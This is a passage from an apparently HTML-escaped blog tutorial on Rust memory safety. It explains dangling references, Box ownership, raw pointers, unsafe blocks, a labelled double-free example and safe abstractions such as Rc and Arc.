style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Return a reference to the local variable my_box.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;amp;my_box;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// my_box is popped off the stack. It &amp;#34;owns&amp;#34; my_struct and thus is responsible&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// deallocating it, so the MyStruct is deallocated.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The correct code returns the &lt;code&gt;Box&amp;lt;MyStruct&amp;gt;&lt;/code&gt; itself, rather than a reference to it. This&#xA;encodes the transfer of ownership - responsibility for deallocation - in the type&#xA;signature of the function. Just by looking at the signature, it&amp;rsquo;s clear the the caller&#xA;is responsible for what happens to the &lt;code&gt;Box&amp;lt;MyStruct&amp;gt;&lt;/code&gt;, and indeed, the compiler handles&#xA;this automatically.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; no_dangling_reference(v: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Box&amp;lt;MyStruct&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_struct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyStruct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value: v&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_box&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::new(my_struct);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Return local variable my_box by value.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_box;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Nothing is deallocated. The caller is now responsible for managing the heap memory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// allocated in this function; it will almost certainly be deallocated automatically&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// when the `Box&amp;lt;MyStruct&amp;gt;` goes out of scope in the caller, barring a double-panic.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Some bad things are not prohibited in safe Rust. For example, it is absolutely&#xA;permissible, from the point of view of the compiler, to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;deadlock a program&lt;/li&gt;&#xA;&lt;li&gt;leak an arbitrarily large amount of memory&lt;/li&gt;&#xA;&lt;li&gt;fail to close file handles, database connections, or missile silo covers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;A strength of the Rust ecosystem is that many projects take the approach of using&#xA;the type system to enforce correctness to heart, but the compiler does not require such&#xA;enforcement except for the case of memory safety.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-permitted-in-unsafe-rust&#34;&gt;What is Permitted in Unsafe Rust?&lt;/h2&gt;&#xA;&lt;p&gt;Unsafe Rust is Rust code annotated with the &lt;code&gt;unsafe&lt;/code&gt; keyword. &lt;code&gt;unsafe&lt;/code&gt; can be applied to&#xA;a function or a block of code. When applied to a function, it means, &amp;ldquo;this function&#xA;requires that its caller manually uphold variants otherwise upheld by the compiler&amp;rdquo;; when&#xA;applied to a block of code, it means, &amp;ldquo;this block of code manually upholds variants required to&#xA;prevent causing memory unsafety, and should therefore be permitted to do &lt;code&gt;unsafe&lt;/code&gt; things&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;In other words, on a function, &lt;code&gt;unsafe&lt;/code&gt; means &amp;ldquo;you need to check&amp;rdquo;, and on a block of&#xA;code, it means &amp;ldquo;I checked&amp;rdquo;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As mentioned in &lt;a href=&#34;https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html&#34;&gt;TRPL&lt;/a&gt;, code in a block annotated with the &lt;code&gt;unsafe&lt;/code&gt; keyword can:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Dereference a raw pointer&lt;/strong&gt;. This is the key &amp;ldquo;superpower&amp;rdquo; that lets us implement&#xA;doubly-linked lists, hashmaps, and other fundamental data structures.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Call an unsafe function or method&lt;/strong&gt;. More discussion on this below.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Access or modify a mutable static variable&lt;/strong&gt;. Static variables whose scope is not&#xA;controlled cannot be statically checked, so their use is inherently unsafe.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Implement an unsafe trait&lt;/strong&gt;. Unsafe traits are used to mark whether or not specific&#xA;types guarantee certain invariants; for instance, the &lt;code&gt;Send&lt;/code&gt; and &lt;code&gt;Sync&lt;/code&gt; traits determine&#xA;whether or not a type can be sent across a thread boundry or used in multiple threads&#xA;at once.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Those dangling pointer examples I gave above? Annotate the functions with &lt;code&gt;unsafe&lt;/code&gt; and&#xA;you&amp;rsquo;ll just get the compiler complaining twice as much, because it doesn&amp;rsquo;t like the use&#xA;of &lt;code&gt;unsafe&lt;/code&gt; on code that doesn&amp;rsquo;t need it.&lt;/p&gt;&#xA;&lt;p&gt;Instead, the &lt;code&gt;unsafe&lt;/code&gt; keyword is used to implement safe abstractions over otherwise&#xA;arbitrary manipulations of pointers. For example, the &lt;code&gt;Vec&lt;/code&gt; type is implemented using&#xA;&lt;code&gt;unsafe&lt;/code&gt;, but it&amp;rsquo;s safe to use, since it checks accesses and doesn&amp;rsquo;t allow overflow, and&#xA;while it does provide operations like &lt;code&gt;set_len&lt;/code&gt; which &lt;em&gt;could&lt;/em&gt; cause memory unsafety,&#xA;those operations are all marked &lt;code&gt;unsafe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For example, we could do the same thing as the &lt;code&gt;no_dangling_reference&lt;/code&gt; example with the&#xA;gratuitous use of &lt;code&gt;unsafe&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; manual_heap_reference(v: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; *&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyStruct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_struct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;MyStruct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;value: v&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_box&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::new(my_struct);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Convert the Box into a regular old pointer.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;struct_pointer&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::into_raw(my_box);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;struct_pointer;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Nothing is dereferenced; this functions just returns a pointer.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// The MyStruct remains where it is on the heap.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note the lack of unsafe; &lt;em&gt;creating&lt;/em&gt; raw pointers is totally safe. As written, this is a&#xA;memory leak risk, but nothing more, and leaking memory is safe. Calling the function&#xA;is safe too; its only when something wants to &lt;em&gt;dereference&lt;/em&gt; the pointer that &lt;code&gt;unsafe&lt;/code&gt; is&#xA;needed. As an added benefit, it will deallocate the memory automatically.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; main()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_pointer&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;manual_heap_reference(&lt;span style=&#34;color:#00f&#34;&gt;1337&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_boxed_struct&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;unsafe&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::from_raw(my_pointer)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Prints &amp;#34;Value: 1337&amp;#34;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Value: &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_boxed_struct.value);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// my_boxed_struct goes out of scope. It now owns the memory on the heap, so it&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// deallocates the MyStruct.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With optimizations, that code is exactly equivalent to just returning the &lt;code&gt;Box&lt;/code&gt; in the&#xA;first place. &lt;code&gt;Box&lt;/code&gt; is a safe abstraction over the use of pointers, because it prevents&#xA;spreading that raw pointer all over the place. For instance, the following version of&#xA;&lt;code&gt;main&lt;/code&gt; &lt;strong&gt;will&lt;/strong&gt; result in a double-free.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; main()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_pointer&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;manual_heap_reference(&lt;span style=&#34;color:#00f&#34;&gt;1337&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_boxed_struct_1&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;unsafe&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::from_raw(my_pointer)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// DOUBLE FREE BUG!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_boxed_struct_2&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;unsafe&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Box::from_raw(my_pointer)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;};&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Prints &amp;#34;Value: 1337&amp;#34;, twice.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Value: &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_boxed_struct_1.value);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;println!(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Value: &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;my_boxed_struct_2.value);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// my_boxed_struct_2 goes out of scope. It owns the memory on the heap, so it&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// deallocates the MyStruct.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// my_boxed_struct_1 then goes out of scope. It also owns the memory on the heap,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// so it also deallocates the MyStruct. This is a double-free bug.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;just-what-is-a-safe-abstraction&#34;&gt;Just What is a Safe Abstraction?&lt;/h3&gt;&#xA;&lt;p&gt;A safe abstraction is one that uses the type system to provide an API that cannot be used&#xA;to violate the safety guarantees I mentioned above. &lt;code&gt;Box&lt;/code&gt; is safer than &lt;code&gt;*mut T&lt;/code&gt; because&#xA;it &lt;em&gt;cannot&lt;/em&gt; be used to produce the double-free just illustrated.&lt;/p&gt;&#xA;&lt;p&gt;Another great example of this is Rust&amp;rsquo;s &lt;code&gt;Rc&lt;/code&gt; type. It&amp;rsquo;s a reference counted pointer - a&#xA;read-only reference to some data stored on the heap. Because it allows multiple&#xA;simultaneous access to a single memory location, it &lt;em&gt;must&lt;/em&gt; prevent mutation to be&#xA;considered safe.&lt;/p&gt;&#xA;&lt;p&gt;In addition, it&amp;rsquo;s marked as not thread-safe; if you want thread-safety, you have to use&#xA;the &lt;code&gt;Arc&lt;/code&gt; (Atomic Reference Counting) type, which takes a performance hit from using&#xA;atomic values for its reference count to prevent the possibility of data races in multi-&#xA;threaded environments.&lt;/p&gt;&#xA;&lt;p&gt;The compiler will stop you from using &lt;code&gt;Rc&lt;/code&gt; where you should use &lt;code&gt;Arc&lt;/code&gt;, because the people&#xA;who implemented &lt;code&gt;Rc&lt;/code&gt; did not mark it as thread safe. If they had, that would be &amp;ldquo;unsound&amp;rdquo;:&#xA;a false promise of safety.&lt;/p&gt;&#xA;&lt;h3 id=&#34;when-is-unsafe-rust-necessary&#34;&gt;When is Unsafe Rust Necessary?&lt;/h3&gt;&#xA;&lt;p&gt;Unsafe Rust is needed whenever performing an operation that might cause one of those two&#xA;rules mentioned above to be violated. For example, in a doubly-linked list, not having&#xA;two mutable references to the same data (from the node before and after a given node)&#xA;defeats the whole purpose. With &lt;code&gt;unsafe&lt;/code&gt;, the implementor of a doubly-linked list can&#xA;write that code using &lt;code&gt;*mut Node&amp;lt;T&amp;gt;&lt;/code&gt; pointers and then encapsulate it in a safe&#xA;abstraction.&lt;/p&gt;&#xA;&lt;p&gt;Another example is when working in the embedded space. Often, microcontrollers use a set&#xA;of registers whose values are determined by the actual physical state of that device.&#xA;The world won&amp;rsquo;t just pause for you when you take an &lt;code&gt;&amp;amp;mut u8&lt;/code&gt; of that register, so the&#xA;device support crates need &lt;code&gt;unsafe&lt;/code&gt; in order to work with them - but they generally strive&#xA;to encapsulate that state in transparent safe wrappers that copy data when possible, or&#xA;use other techniques to uphold the guarantees of the compiler.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s sometimes unavoidable to do an operation that might lead to simultaneous reading&#xA;and writing, or memory unsafety, and that&amp;rsquo;s when &lt;code&gt;unsafe&lt;/code&gt; is needed. But, so long as there&#xA;is a way to ensure that the Rust safety invariants are checked before the user of safe&#xA;(that is, non-&lt;code&gt;unsafe&lt;/code&gt;-marked) code touches anything, that&amp;rsquo;s completely fine.&lt;/p&gt;&#xA;&lt;h2 id=&#34;on-whose-shoulders-does-it-fall&#34;&gt;On Whose Shoulders Does It Fall?&lt;/h2&gt;&#xA;&lt;p&gt;So, we come back to the point I made above - &lt;strong&gt;yes&lt;/strong&gt;, the Rust language&amp;rsquo;s utility is built&#xA;on a foundation of &lt;code&gt;unsafe&lt;/code&gt; code. Though it&amp;rsquo;s done in a slightly different way than the&#xA;unsafe implementations of core data structures in Python, it&amp;rsquo;s just as true that the&#xA;implemenation of &lt;code&gt;Vec&lt;/code&gt;, &lt;code&gt;HashMap&lt;/code&gt;, et cetera &lt;em&gt;must&lt;/em&gt; use raw pointer manipulations at some&#xA;level.&lt;/p&gt;&#xA;&lt;p&gt;We say that safe Rust is safe with 